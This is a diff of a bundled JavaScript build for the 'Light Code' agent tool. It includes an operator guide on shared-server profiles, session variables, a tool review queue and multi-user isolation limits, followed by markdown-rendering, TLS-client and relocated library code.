"apiKeyRef": "profile:gateway:apiKey" }\r\n }\r\n ]\r\n}\r\n```\r\n\r\nThey appear in every user\'s list marked **provided**, with no Edit and no Delete \u2014 a user\'s file\r\nnever stores them, so an edit would silently vanish on the next save. **Duplicate** is offered\r\ninstead, which is how someone starts from the organisation\'s gateway and points the copy at their\r\nown key.\r\n\r\n`defaultProfileId` applies to anyone who has not chosen. It never overrides a choice, and it is\r\nignored if it names a profile that no longer exists \u2014 so removing one cannot leave every session\r\npointing at nothing.\r\n\r\nA shared profile\'s API key lives in `<data>/shared-secrets.json` rather than in any one user\'s\r\ndirectory, so it survives a user clearing their own secrets. As everywhere here that is storage,\r\nnot secrecy: every session runs as the same account and can read the file.\r\n\r\nThe rule: anything invariant 5 already treats as user-scope-only becomes admin-only, because a\r\nsecond user on a shared box is the same threat as a hostile repository arriving by another door.\r\nAnything unlisted that looks like a settings change (`save\u2026`, `set\u2026`, `delete\u2026`) defaults to\r\n**restricted** \u2014 forgetting to list something should mean "an administrator has to do it", never\r\n"anyone may repoint the gateway".\r\n\r\nA refused message is answered, not dropped: the UI hides these controls, so one arriving is either\r\na stale page or someone poking the API, and both deserve a reason.\r\n\r\n---\r\n\r\n## 1c. Session variables\r\n\r\nValues handed to everything a session runs \u2014 shell commands and Python tools \u2014 as environment\r\nvariables. Set them in the **Variables** tab.\r\n\r\n> **They are not secret.** Everything a session spawns runs as the server\'s own account, so\r\n> another user can have their assistant read them. This answers *whose value applies*, not *who\r\n> can see it*. API keys belong in **Providers**, which stores them separately and never sends\r\n> them back to a page.\r\n\r\n### Two scopes, and the administrator wins\r\n\r\n- **Yours** \u2014 only your sessions see them. Stored in `<data>/users/<hash>/variables.json`.\r\n- **Everyone\'s** \u2014 set by an administrator, applied to every user. Stored in `<data>/shared.json`.\r\n\r\nWhere both set the same name, **the administrator\'s value is used**. A variable set centrally is\r\nset precisely because it has to be the same everywhere \u2014 an internal package index, a proxy, a\r\ncompliance flag \u2014 and a per-user value quietly winning would defeat the only reason to set one.\r\n\r\nThe one that lost is not hidden. Your row says so:\r\n\r\n> **overridden** \u2014 An administrator set `REGISTRY` for everyone, so sessions use\r\n> `https://pypi.internal/simple` and not yours.\r\n\r\nWithout that you would edit a value that could never apply and see no sign of it.\r\n\r\n### Names\r\n\r\nLetters, digits and underscore, not starting with a digit. Anything else is refused as you type\r\nit, because a name a shell cannot set fails by starting a process with a *silently different*\r\nenvironment rather than by erroring.\r\n\r\n### Where they reach\r\n\r\n`execute_command` and Python tools. The Python worker\'s environment stays an allowlist \u2014 the\r\nreason it exists is that a provider API key must never reach model-authored code \u2014 and these are\r\nadded to it, because they are what a human deliberately declared.\r\n\r\nAn edit applies to the **next command**, not the next session; a Python tool picks one up when its\r\nworker next starts.\r\n\r\n---\r\n\r\n## 1d. The review queue\r\n\r\nA Python tool or a skill written by someone who is **not** an administrator is not saved. It goes\r\ninto a queue, the author\'s turn is told so and carries on, and an administrator reads the source\r\nand approves or rejects it in Settings \u2192 **Review**.\r\n\r\nAsynchronous on purpose. The in-chat approval gate assumes the approver is present, which is true\r\nin a chat and false here: the person who may approve is not the person asking. Blocking the turn\r\nwould hang for hours when nobody is at a screen, and forever for a scheduled run.\r\n\r\n### What "queued" means\r\n\r\nNothing is written anywhere the workspace can see it. The bytes live in `<data>/reviews.json`\r\nuntil someone approves them, and only then are they written to `.lightcode/tools/` or\r\n`.lightcode/skills/`. That is \xA713\'s rule used as it stands \u2014 the *registry* is the security\r\nboundary, and a file with no registry entry never loads \u2014 rather than a second mechanism beside it.\r\n\r\nTwo consequences worth knowing:\r\n\r\n- **A rejected submission leaves nothing behind.** There is no half-written file to clean up.\r\n- **An approval writes the bytes that were read**, not whatever is on disk by then.\r\n\r\n### Reviewing\r\n\r\nThe queue shows the full source as a diff against what is there now, with the author, the time,\r\nand \u2014 when a [programming provider](#1b-shared-mode---server--a-usage-guide) wrote it \u2014 which\r\nmodel produced it. Approve is disabled until the source has been opened. That is not a security\r\ncontrol, since anyone can open it and not read it; it is there because approving code you have not\r\nlooked at is the single mistake this queue exists to make harder, and a button needing no step in\r\nbetween is one people press by reflex.\r\n\r\nA rejection takes a reason, and the author sees it. Authors can see their own submissions, which is\r\nhow the reason reaches them \u2014 a queue only administrators could read would leave someone waiting\r\nwithout knowing what for.\r\n\r\nResubmitting the same name **replaces** the pending item rather than adding another. A model told\r\nits work is queued sometimes tries again, and four near-identical copies of one tool means an\r\nadministrator has to diff them to find the current one.\r\n\r\nAn administrator\'s own tools and skills are unaffected: they get the ordinary in-chat prompt, which\r\nis the same mechanism with the approver already at the screen.\r\n\r\n---\r\n\r\n## 2. Multi-user hosting with SSO \u2014 read this first\r\n\r\nIdentity is built. `ProxyHeaderIdentity` reads the user from your proxy\'s header, every store is\r\nkeyed by `Principal.id`, and section 1b is the setup guide. So the question of *who is asking* is\r\nanswered.\r\n\r\n**That was never the hard part.** The hard part is this:\r\n\r\n> Light Code executes shell commands, reads and writes files, and spawns MCP servers. On a\r\n> hosted deployment, all of that runs as **the account the server process runs as** \u2014 not as\r\n> the person who asked for it.\r\n\r\nSSO tells you *who is asking*. It does not change *what their request can do*. So on a\r\nshared server, with the design as it stands:\r\n\r\n- Every user\'s commands run with the same OS privileges as every other user\'s.\r\n- Any user can instruct the agent to read any file the service account can read \u2014\r\n including another user\'s `secrets.json` under `<data>/users/`, since file permissions\r\n separate accounts, and here there is only one account.\r\n- Any user can configure an MCP server, which is an arbitrary executable, and it runs as the\r\n service account.\r\n- The approval gate protects a user from the *model*. It does not protect users from each\r\n other, because the person approving is the person asking.\r\n\r\nThis is consistent with what Light Code has always claimed \u2014 \xA73 of `CLAUDE.md` says plainly\r\nthat it does not sandbox executed code and does not protect against another process running\r\nas the same user. On one desktop that is a reasonable line. On a shared server it means\r\n**every user is effectively an administrator of every other user\'s data.**\r\n\r\n### What would actually make it safe\r\n\r\nIn rough order of how much they buy you:\r\n\r\n1. **One OS account per user, or one container per session.** This is the real fix and\r\n nothing else substitutes for it. The server becomes a supervisor that launches a\r\n per-user worker under that user\'s identity; the worker holds the bridge. On Windows this\r\n is a service that impersonates the authenticated principal, or a container per session.\r\n2. **Workspace confinement per principal**, so a user\'s tools are rooted in their own tree\r\n rather than a shared one.\r\n3. **Deny MCP configuration to ordinary users**, or restrict it to an operator-managed\r\n allowlist. It is arbitrary code execution by design.\r\n4. **Disable the Claude CLI expert and `execute_command` by policy** unless 1 is done.\r\n\r\nNone of those are built. Until at least (1) is, a hosted deployment is safe only where\r\n**every user is already trusted with everything every other user can reach** \u2014 for\r\ninstance, one small team sharing a service account they all already have.\r\n\r\n### If you deploy it anyway\r\n\r\nBecause "one team who all trust each other" is a real situation. Section 1b is the how; this is\r\nthe shortlist of things not to skip:\r\n\r\n- Put it behind a proxy that terminates authentication, sets the user header, and **strips any\r\n inbound copy of it**.\r\n- Send the immutable directory identifier as the id, never the username or email \u2014 both get\r\n reassigned to a different person when someone leaves.\r\n- Bind the server to loopback and let the proxy be the only thing that reaches it.\r\n- **Restrict `/admin` at the proxy.** Light Code does not guard it.\r\n- Terminate TLS at the proxy. The `Host` allowlist needs the proxy\'s public authority added.\r\n- Run the service account with the least privilege that still works, and keep its home\r\n directory off any share.\r\n- Tell your users plainly that their sessions are not isolated from one another.\r\n';
34756
34716
 
34757
- // ../../packages/core/dist/platform/http.js
34758
- var import_undici = __toESM(require_undici(), 1);
34759
- import { createHash } from "node:crypto";
34760
-
34761
- // ../../packages/core/dist/platform/tls.js
34762
- import fs from "node:fs";
34763
- import tls from "node:tls";
34764
- var cachedExtraCaCerts;
34765
- var cachedExtraCaPath;
34766
- function readNodeExtraCaCerts(env2 = process.env) {
34767
- const configuredPath = env2.NODE_EXTRA_CA_CERTS;
34768
- if (configuredPath === void 0 || configuredPath.trim().length === 0)
34769
- return [];
34770
- if (cachedExtraCaPath === configuredPath && cachedExtraCaCerts !== void 0)
34771
- return cachedExtraCaCerts;
34772
- try {
34773
- const contents = fs.readFileSync(configuredPath, "utf8");
34774
- cachedExtraCaCerts = contents.trim().length > 0 ? [contents] : [];
34775
- } catch {
34776
- cachedExtraCaCerts = [];
34777
- }
34778
- cachedExtraCaPath = configuredPath;
34779
- return cachedExtraCaCerts;
34780
- }
34781
- function buildCaBundle(configured, env2 = process.env) {
34782
- const extraFromEnv = readNodeExtraCaCerts(env2);
34783
- const extraFromConfig = configured ?? [];
34784
- if (extraFromEnv.length === 0 && extraFromConfig.length === 0)
34785
- return void 0;
34786
- return [...tls.rootCertificates, ...extraFromEnv, ...extraFromConfig];
34787
- }
34788
- function buildConnectOptions(options, env2 = process.env) {
34789
- const connect = {};
34790
- if (options.rejectUnauthorized === false)
34791
- connect.rejectUnauthorized = false;
34792
- if (options.cert !== void 0)
34793
- connect.cert = options.cert;
34794
- if (options.key !== void 0)
34795
- connect.key = options.key;
34796
- if (options.pfx !== void 0)
34797
- connect.pfx = options.pfx;
34798
- if (options.passphrase !== void 0)
34799
- connect.passphrase = options.passphrase;
34800
- const ca = buildCaBundle(options.ca, env2);
34801
- if (ca !== void 0)
34802
- connect.ca = ca;
34803
- return connect;
34804
- }
34805
-
34806
- // ../../packages/core/dist/platform/http.js
34807
- function tlsKey(tls2) {
34808
- const hash2 = createHash("sha256");
34809
- for (const part of [tls2.cert, tls2.key, tls2.pfx, ...tls2.ca ?? []]) {
34810
- hash2.update(part ?? Buffer.alloc(0));
34811
- hash2.update("|");
34812
- }
34813
- hash2.update(tls2.passphrase ?? "");
34814
- return hash2.digest("hex");
34815
- }
34816
- var FetchHttpClient = class {
34817
- /** Agents are pooled: building one per request would discard connection reuse entirely. */
34818
- agents = /* @__PURE__ */ new Map();
34819
- agentFor(tls2) {
34820
- const key = tlsKey(tls2);
34821
- const existing = this.agents.get(key);
34822
- if (existing !== void 0)
34823
- return existing;
34824
- const agent = new import_undici.Agent({ connect: buildConnectOptions(tls2) });
34825
- this.agents.set(key, agent);
34826
- return agent;
34827
- }
34828
- /** Drops pooled agents so the next request rebuilds TLS — call when certs change on disk. */
34829
- resetTlsAgents() {
34830
- for (const agent of this.agents.values())
34831
- void agent.close();
34832
- this.agents.clear();
34833
- }
34834
- async request(url2, options = {}) {
34835
- const init = {};
34836
- if (options.method !== void 0)
34837
- init.method = options.method;
34838
- if (options.headers !== void 0)
34839
- init.headers = options.headers;
34840
- if (options.body !== void 0)
34841
- init.body = options.body;
34842
- if (options.signal !== void 0)
34843
- init.signal = options.signal;
34844
- if (options.tls !== void 0)
34845
- init.dispatcher = this.agentFor(options.tls);
34846
- const response = await (0, import_undici.fetch)(url2, init);
34847
- return {
34848
- status: response.status,
34849
- headers: Object.fromEntries(response.headers.entries()),
34850
- text: () => response.text(),
34851
- json: () => response.json(),
34852
- body: response.body
34853
- };
34854
- }
34855
- };
34856
-
34857
- // ../../packages/core/dist/platform/connectionTls.js
34858
- import fs2 from "node:fs/promises";
34859
- import path2 from "node:path";
34860
- var TlsConfigError = class extends Error {
34861
- constructor(message) {
34862
- super(message);
34863
- this.name = "TlsConfigError";
34864
- }
34865
- };
34866
- async function readFile(file2, certDir, label, seen) {
34867
- const resolved = path2.isAbsolute(file2) ? file2 : certDir !== void 0 ? path2.join(certDir, file2) : file2;
34868
- seen.push(resolved);
34869
- try {
34870
- return await fs2.readFile(resolved);
34871
- } catch (error51) {
34872
- const code = error51.code;
34873
- throw new TlsConfigError(code === "ENOENT" ? `${label} not found at "${resolved}". Check the path in Settings \u2192 Network, or set a certificate directory there.` : `Could not read ${label.toLowerCase()} at "${resolved}": ${error51 instanceof Error ? error51.message : String(error51)}`);
34874
- }
34875
- }
34876
- function hasClientMaterial(settings) {
34877
- return settings?.certFile !== void 0 && settings.certFile.trim().length > 0 || settings?.pfxFile !== void 0 && settings.pfxFile.trim().length > 0;
34878
- }
34879
- async function resolveConnectionTls(options) {
34880
- const paths = [];
34881
- try {
34882
- return await build(options, paths);
34883
- } finally {
34884
- if (paths.length > 0)
34885
- options.onPaths?.(paths);
34886
- }
34887
- }
34888
- async function build(options, paths) {
34889
- const { global: global2, connection, certDir } = options;
34890
- const cas = [];
34891
- for (const file2 of [global2?.caFile, connection?.caFile]) {
34892
- if (file2 !== void 0 && file2.trim().length > 0) {
34893
- cas.push(await readFile(file2.trim(), certDir, "CA certificate", paths));
34717
+ // src/guideHtml.ts
34718
+ function escapeHtml(text) {
34719
+ return text.replace(/&/g, "&amp;").replace(/</g, "&lt;").replace(/>/g, "&gt;").replace(/"/g, "&quot;");
34720
+ }
34721
+ function renderInline(text) {
34722
+ const escaped = escapeHtml(text);
34723
+ const codeSpans = [];
34724
+ const withPlaceholders = escaped.replace(/`([^`]+)`/g, (_match, code) => {
34725
+ codeSpans.push(code);
34726
+ return `\x91${String(codeSpans.length - 1)}\x91`;
34727
+ });
34728
+ const formatted = withPlaceholders.replace(/\*\*([^*]+)\*\*/g, "<strong>$1</strong>").replace(/\*([^*]+)\*/g, "<em>$1</em>").replace(/\[([^\]]+)\]\((https?:\/\/[^)\s]+)\)/g, '<a href="$2" rel="noopener noreferrer">$1</a>');
34729
+ return formatted.replace(/‘(\d+)‘/g, (_match, index) => `<code>${codeSpans[Number(index)] ?? ""}</code>`);
34730
+ }
34731
+ function renderTable(rows) {
34732
+ const [header, , ...body] = rows;
34733
+ const head = header === void 0 ? "" : `<thead><tr>${header.cells.map((cell) => `<th>${renderInline(cell)}</th>`).join("")}</tr></thead>`;
34734
+ const rest = body.map((row) => `<tr>${row.cells.map((cell) => `<td>${renderInline(cell)}</td>`).join("")}</tr>`).join("");
34735
+ return `<div class="scroll-x"><table>${head}<tbody>${rest}</tbody></table></div>`;
34736
+ }
34737
+ var cellsOf = (line) => line.replace(/^\||\|$/g, "").split("|").map((cell) => cell.trim());
34738
+ function markdownToHtml(markdown) {
34739
+ const lines = markdown.split(/\r?\n/);
34740
+ const out = [];
34741
+ let index = 0;
34742
+ while (index < lines.length) {
34743
+ const line = lines[index] ?? "";
34744
+ if (line.startsWith("```")) {
34745
+ const body2 = [];
34746
+ index++;
34747
+ while (index < lines.length && !(lines[index] ?? "").startsWith("```")) {
34748
+ body2.push(lines[index] ?? "");
34749
+ index++;
34750
+ }
34751
+ index++;
34752
+ out.push(`<pre><code>${escapeHtml(body2.join("\n"))}</code></pre>`);
34753
+ continue;
34894
34754
  }
34895
- }
34896
- const clientSource = hasClientMaterial(connection) ? connection : connection?.useGlobalClientCertificate === false ? void 0 : hasClientMaterial(global2) ? global2 : void 0;
34897
- const rejectUnauthorized = connection?.rejectUnauthorized ?? global2?.rejectUnauthorized;
34898
- if (cas.length === 0 && clientSource === void 0 && rejectUnauthorized !== false)
34899
- return void 0;
34900
- const tls2 = {};
34901
- if (cas.length > 0)
34902
- tls2.ca = cas;
34903
- if (rejectUnauthorized === false)
34904
- tls2.rejectUnauthorized = false;
34905
- if (clientSource !== void 0) {
34906
- if (clientSource.pfxFile !== void 0 && clientSource.pfxFile.trim().length > 0) {
34907
- tls2.pfx = await readFile(clientSource.pfxFile.trim(), certDir, "PFX bundle", paths);
34908
- } else {
34909
- const certFile = clientSource.certFile?.trim() ?? "";
34910
- const keyFile = clientSource.keyFile?.trim() ?? "";
34911
- if (keyFile.length === 0) {
34912
- throw new TlsConfigError("A client certificate is configured but no private key. Set the key file in Settings \u2192 Network, or use a PFX bundle.");
34755
+ const heading = /^(#{1,6}) (.*)$/.exec(line);
34756
+ if (heading !== null) {
34757
+ const level = (heading[1] ?? "#").length;
34758
+ const text = heading[2] ?? "";
34759
+ const id = text.toLowerCase().replace(/[^a-z0-9]+/g, "-").replace(/^-|-$/g, "");
34760
+ out.push(`<h${String(level)} id="${id}">${renderInline(text)}</h${String(level)}>`);
34761
+ index++;
34762
+ continue;
34763
+ }
34764
+ if (/^---+\s*$/.test(line)) {
34765
+ out.push("<hr />");
34766
+ index++;
34767
+ continue;
34768
+ }
34769
+ if (line.startsWith("|")) {
34770
+ const rows = [];
34771
+ while (index < lines.length && (lines[index] ?? "").startsWith("|")) {
34772
+ rows.push({ cells: cellsOf(lines[index] ?? "") });
34773
+ index++;
34913
34774
  }
34914
- tls2.cert = await readFile(certFile, certDir, "Client certificate", paths);
34915
- tls2.key = await readFile(keyFile, certDir, "Private key", paths);
34775
+ out.push(renderTable(rows));
34776
+ continue;
34916
34777
  }
34917
- if (options.passphrase !== void 0)
34918
- tls2.passphrase = options.passphrase;
34919
- }
34920
- return tls2;
34778
+ if (line.startsWith("> ")) {
34779
+ const body2 = [];
34780
+ while (index < lines.length && (lines[index] ?? "").startsWith(">")) {
34781
+ body2.push((lines[index] ?? "").replace(/^>\s?/, ""));
34782
+ index++;
34783
+ }
34784
+ out.push(`<blockquote>${renderInline(body2.join(" "))}</blockquote>`);
34785
+ continue;
34786
+ }
34787
+ const bullet = /^\s*[-*] (.*)$/.exec(line);
34788
+ if (bullet !== null) {
34789
+ const items = [];
34790
+ while (index < lines.length) {
34791
+ const current = lines[index] ?? "";
34792
+ const match = /^\s*[-*] (.*)$/.exec(current);
34793
+ if (match !== null) {
34794
+ items.push(match[1] ?? "");
34795
+ index++;
34796
+ continue;
34797
+ }
34798
+ if (/^\s+\S/.test(current) && items.length > 0) {
34799
+ items[items.length - 1] = `${items[items.length - 1] ?? ""} ${current.trim()}`;
34800
+ index++;
34801
+ continue;
34802
+ }
34803
+ break;
34804
+ }
34805
+ out.push(`<ul>${items.map((item) => `<li>${renderInline(item)}</li>`).join("")}</ul>`);
34806
+ continue;
34807
+ }
34808
+ const ordered = /^\s*\d+\. (.*)$/.exec(line);
34809
+ if (ordered !== null) {
34810
+ const items = [];
34811
+ while (index < lines.length) {
34812
+ const current = lines[index] ?? "";
34813
+ const match = /^\s*\d+\. (.*)$/.exec(current);
34814
+ if (match !== null) {
34815
+ items.push(match[1] ?? "");
34816
+ index++;
34817
+ continue;
34818
+ }
34819
+ if (/^\s+\S/.test(current) && items.length > 0) {
34820
+ items[items.length - 1] = `${items[items.length - 1] ?? ""} ${current.trim()}`;
34821
+ index++;
34822
+ continue;
34823
+ }
34824
+ break;
34825
+ }
34826
+ out.push(`<ol>${items.map((item) => `<li>${renderInline(item)}</li>`).join("")}</ol>`);
34827
+ continue;
34828
+ }
34829
+ if (line.trim().length === 0) {
34830
+ index++;
34831
+ continue;
34832
+ }
34833
+ const body = [];
34834
+ while (index < lines.length) {
34835
+ const current = lines[index] ?? "";
34836
+ if (current.trim().length === 0 || current.startsWith("```") || current.startsWith("|") || current.startsWith(">") || /^#{1,6} /.test(current) || /^---+\s*$/.test(current) || /^\s*[-*] /.test(current) || /^\s*\d+\. /.test(current)) {
34837
+ break;
34838
+ }
34839
+ body.push(current);
34840
+ index++;
34841
+ }
34842
+ out.push(`<p>${renderInline(body.join(" "))}</p>`);
34843
+ }
34844
+ return out.join("\n");
34845
+ }
34846
+ function guidePage(markdown) {
34847
+ return `<!doctype html>
34848
+ <html lang="en">
34849
+ <head>
34850
+ <meta charset="utf-8" />
34851
+ <meta name="viewport" content="width=device-width, initial-scale=1" />
34852
+ <title>Light Code \u2014 operator guide</title>
34853
+ <style>
34854
+ :root {
34855
+ --ground: #fbfbf9; --surface: #f3f5f2; --ink: #16201a; --soft: #4a564e;
34856
+ --faint: #78837b; --rule: #dde1dc; --accent: #2f7d4f; --alert: #a8331d;
34857
+ }
34858
+ @media (prefers-color-scheme: dark) {
34859
+ :root {
34860
+ --ground: #12150f; --surface: #1c211d; --ink: #e6eae4; --soft: #a8b2a8;
34861
+ --faint: #7d867e; --rule: #2b322b; --accent: #57b47f; --alert: #e0836c;
34862
+ }
34863
+ }
34864
+ * { box-sizing: border-box; }
34865
+ body {
34866
+ background: var(--ground); color: var(--ink); margin: 0;
34867
+ padding: 0 24px 80px;
34868
+ font: 16px/1.6 ui-serif, Charter, Georgia, serif;
34869
+ -webkit-font-smoothing: antialiased;
34870
+ }
34871
+ main { max-width: 820px; margin: 0 auto; }
34872
+ h1, h2, h3, h4 {
34873
+ font-family: system-ui, -apple-system, "Segoe UI", sans-serif;
34874
+ line-height: 1.2; text-wrap: balance; margin: 1.8em 0 0.4em;
34875
+ }
34876
+ h1 { font-size: 2.1rem; letter-spacing: -0.02em; margin-top: 1.2em; }
34877
+ h2 { font-size: 1.5rem; letter-spacing: -0.015em; padding-top: 0.6em; border-top: 1px solid var(--rule); }
34878
+ h3 { font-size: 1.1rem; }
34879
+ p, li { max-width: 68ch; }
34880
+ a { color: var(--accent); }
34881
+ code {
34882
+ font: 0.86em ui-monospace, "Cascadia Code", Consolas, monospace;
34883
+ background: var(--surface); border: 1px solid var(--rule); border-radius: 3px; padding: 0.1em 0.32em;
34884
+ }
34885
+ pre {
34886
+ background: var(--surface); border: 1px solid var(--rule); border-left: 3px solid var(--accent);
34887
+ border-radius: 4px; padding: 14px 16px; overflow-x: auto;
34888
+ font: 13px/1.65 ui-monospace, "Cascadia Code", Consolas, monospace;
34889
+ }
34890
+ pre code { background: none; border: 0; padding: 0; font-size: inherit; }
34891
+ blockquote {
34892
+ margin: 1.2em 0; padding: 12px 16px; border-left: 3px solid var(--alert);
34893
+ background: var(--surface); border-radius: 0 4px 4px 0; color: var(--ink);
34894
+ }
34895
+ blockquote p { margin: 0; }
34896
+ .scroll-x { overflow-x: auto; margin: 1.2em 0; }
34897
+ table { border-collapse: collapse; width: 100%; font: 14px/1.5 system-ui, sans-serif; }
34898
+ th, td { text-align: left; vertical-align: top; padding: 9px 14px 9px 0; border-bottom: 1px solid var(--rule); }
34899
+ th { color: var(--faint); font-size: 12px; text-transform: uppercase; letter-spacing: 0.08em; font-weight: 500; }
34900
+ hr { border: 0; border-top: 1px solid var(--rule); margin: 2.4em 0; }
34901
+ ul, ol { padding-left: 22px; }
34902
+ li { margin: 0.4em 0; }
34903
+ </style>
34904
+ </head>
34905
+ <body><main>
34906
+ ${markdownToHtml(markdown)}
34907
+ </main></body>
34908
+ </html>
34909
+ `;
34921
34910
  }
34922
34911
 
34912
+ // src/guideText.ts
34913
+ function renderGuide(colour, source = OPERATOR_GUIDE) {
34914
+ if (!colour) return source;
34915
+ const ESC = "\x1B";
34916
+ const bold = (text) => `${ESC}[1m${text}${ESC}[0m`;
34917
+ const dim = (text) => `${ESC}[2m${text}${ESC}[0m`;
34918
+ return source.split("\n").map((line) => {
34919
+ const carriageReturn = line.endsWith("\r") ? "\r" : "";
34920
+ const text = carriageReturn === "" ? line : line.slice(0, -1);
34921
+ const heading = /^#{1,6}\s+(.*)$/.exec(text);
34922
+ if (heading !== null) return bold(heading[1] ?? text) + carriageReturn;
34923
+ if (text.startsWith("```")) return dim(text) + carriageReturn;
34924
+ return line;
34925
+ }).join("\n");
34926
+ }
34927
+
34928
+ // src/sharedConfig.ts
34929
+ import fs17 from "node:fs/promises";
34930
+ import path22 from "node:path";
34931
+
34923
34932
  // ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/external.js
34924
34933
  var external_exports = {};
34925
34934
  __export(external_exports, {
@@ -35686,10 +35695,10 @@ function mergeDefs(...defs) {
35686
35695
  function cloneDef(schema) {
35687
35696
  return mergeDefs(schema._zod.def);
35688
35697
  }
35689
- function getElementAtPath(obj, path26) {
35690
- if (!path26)
35698
+ function getElementAtPath(obj, path29) {
35699
+ if (!path29)
35691
35700
  return obj;
35692
- return path26.reduce((acc, key) => acc?.[key], obj);
35701
+ return path29.reduce((acc, key) => acc?.[key], obj);
35693
35702
  }
35694
35703
  function promiseAllObject(promisesObj) {
35695
35704
  const keys = Object.keys(promisesObj);
@@ -36098,11 +36107,11 @@ function explicitlyAborted(x, startIndex = 0) {
36098
36107
  }
36099
36108
  return false;
36100
36109
  }
36101
- function prefixIssues(path26, issues) {
36110
+ function prefixIssues(path29, issues) {
36102
36111
  return issues.map((iss) => {
36103
36112
  var _a3;
36104
36113
  (_a3 = iss).path ?? (_a3.path = []);
36105
- iss.path.unshift(path26);
36114
+ iss.path.unshift(path29);
36106
36115
  return iss;
36107
36116
  });
36108
36117
  }
@@ -36249,16 +36258,16 @@ function flattenError(error51, mapper = (issue2) => issue2.message) {
36249
36258
  }
36250
36259
  function formatError(error51, mapper = (issue2) => issue2.message) {
36251
36260
  const fieldErrors = { _errors: [] };
36252
- const processError = (error52, path26 = []) => {
36261
+ const processError = (error52, path29 = []) => {
36253
36262
  for (const issue2 of error52.issues) {
36254
36263
  if (issue2.code === "invalid_union" && issue2.errors.length) {
36255
- issue2.errors.map((issues) => processError({ issues }, [...path26, ...issue2.path]));
36264
+ issue2.errors.map((issues) => processError({ issues }, [...path29, ...issue2.path]));
36256
36265
  } else if (issue2.code === "invalid_key") {
36257
- processError({ issues: issue2.issues }, [...path26, ...issue2.path]);
36266
+ processError({ issues: issue2.issues }, [...path29, ...issue2.path]);
36258
36267
  } else if (issue2.code === "invalid_element") {
36259
- processError({ issues: issue2.issues }, [...path26, ...issue2.path]);
36268
+ processError({ issues: issue2.issues }, [...path29, ...issue2.path]);
36260
36269
  } else {
36261
- const fullpath = [...path26, ...issue2.path];
36270
+ const fullpath = [...path29, ...issue2.path];
36262
36271
  if (fullpath.length === 0) {
36263
36272
  fieldErrors._errors.push(mapper(issue2));
36264
36273
  } else {
@@ -36285,17 +36294,17 @@ function formatError(error51, mapper = (issue2) => issue2.message) {
36285
36294
  }
36286
36295
  function treeifyError(error51, mapper = (issue2) => issue2.message) {
36287
36296
  const result = { errors: [] };
36288
- const processError = (error52, path26 = []) => {
36297
+ const processError = (error52, path29 = []) => {
36289
36298
  var _a3, _b;
36290
36299
  for (const issue2 of error52.issues) {
36291
36300
  if (issue2.code === "invalid_union" && issue2.errors.length) {
36292
- issue2.errors.map((issues) => processError({ issues }, [...path26, ...issue2.path]));
36301
+ issue2.errors.map((issues) => processError({ issues }, [...path29, ...issue2.path]));
36293
36302
  } else if (issue2.code === "invalid_key") {
36294
- processError({ issues: issue2.issues }, [...path26, ...issue2.path]);
36303
+ processError({ issues: issue2.issues }, [...path29, ...issue2.path]);
36295
36304
  } else if (issue2.code === "invalid_element") {
36296
- processError({ issues: issue2.issues }, [...path26, ...issue2.path]);
36305
+ processError({ issues: issue2.issues }, [...path29, ...issue2.path]);
36297
36306
  } else {
36298
- const fullpath = [...path26, ...issue2.path];
36307
+ const fullpath = [...path29, ...issue2.path];
36299
36308
  if (fullpath.length === 0) {
36300
36309
  result.errors.push(mapper(issue2));
36301
36310
  continue;
@@ -36327,8 +36336,8 @@ function treeifyError(error51, mapper = (issue2) => issue2.message) {
36327
36336
  }
36328
36337
  function toDotPath(_path) {
36329
36338
  const segs = [];
36330
- const path26 = _path.map((seg) => typeof seg === "object" ? seg.key : seg);
36331
- for (const seg of path26) {
36339
+ const path29 = _path.map((seg) => typeof seg === "object" ? seg.key : seg);
36340
+ for (const seg of path29) {
36332
36341
  if (typeof seg === "number")
36333
36342
  segs.push(`[${seg}]`);
36334
36343
  else if (typeof seg === "symbol")
@@ -49020,13 +49029,13 @@ function resolveRef(ref, ctx) {
49020
49029
  if (!ref.startsWith("#")) {
49021
49030
  throw new Error("External $ref is not supported, only local refs (#/...) are allowed");
49022
49031
  }
49023
- const path26 = ref.slice(1).split("/").filter(Boolean);
49024
- if (path26.length === 0) {
49032
+ const path29 = ref.slice(1).split("/").filter(Boolean);
49033
+ if (path29.length === 0) {
49025
49034
  return ctx.rootSchema;
49026
49035
  }
49027
49036
  const defsKey = ctx.version === "draft-2020-12" ? "$defs" : "definitions";
49028
- if (path26[0] === defsKey) {
49029
- const key = path26[1];
49037
+ if (path29[0] === defsKey) {
49038
+ const key = path29[1];
49030
49039
  if (!key || !ctx.defs[key]) {
49031
49040
  throw new Error(`Reference not found: ${ref}`);
49032
49041
  }
@@ -49434,6 +49443,172 @@ function date4(params) {
49434
49443
  // ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/external.js
49435
49444
  config(en_default());
49436
49445
 
49446
+ // ../../packages/core/dist/platform/http.js
49447
+ var import_undici = __toESM(require_undici(), 1);
49448
+ import { createHash } from "node:crypto";
49449
+
49450
+ // ../../packages/core/dist/platform/tls.js
49451
+ import fs from "node:fs";
49452
+ import tls from "node:tls";
49453
+ var cachedExtraCaCerts;
49454
+ var cachedExtraCaPath;
49455
+ function readNodeExtraCaCerts(env2 = process.env) {
49456
+ const configuredPath = env2.NODE_EXTRA_CA_CERTS;
49457
+ if (configuredPath === void 0 || configuredPath.trim().length === 0)
49458
+ return [];
49459
+ if (cachedExtraCaPath === configuredPath && cachedExtraCaCerts !== void 0)
49460
+ return cachedExtraCaCerts;
49461
+ try {
49462
+ const contents = fs.readFileSync(configuredPath, "utf8");
49463
+ cachedExtraCaCerts = contents.trim().length > 0 ? [contents] : [];
49464
+ } catch {
49465
+ cachedExtraCaCerts = [];
49466
+ }
49467
+ cachedExtraCaPath = configuredPath;
49468
+ return cachedExtraCaCerts;
49469
+ }
49470
+ function buildCaBundle(configured, env2 = process.env) {
49471
+ const extraFromEnv = readNodeExtraCaCerts(env2);
49472
+ const extraFromConfig = configured ?? [];
49473
+ if (extraFromEnv.length === 0 && extraFromConfig.length === 0)
49474
+ return void 0;
49475
+ return [...tls.rootCertificates, ...extraFromEnv, ...extraFromConfig];
49476
+ }
49477
+ function buildConnectOptions(options, env2 = process.env) {
49478
+ const connect = {};
49479
+ if (options.rejectUnauthorized === false)
49480
+ connect.rejectUnauthorized = false;
49481
+ if (options.cert !== void 0)
49482
+ connect.cert = options.cert;
49483
+ if (options.key !== void 0)
49484
+ connect.key = options.key;
49485
+ if (options.pfx !== void 0)
49486
+ connect.pfx = options.pfx;
49487
+ if (options.passphrase !== void 0)
49488
+ connect.passphrase = options.passphrase;
49489
+ const ca = buildCaBundle(options.ca, env2);
49490
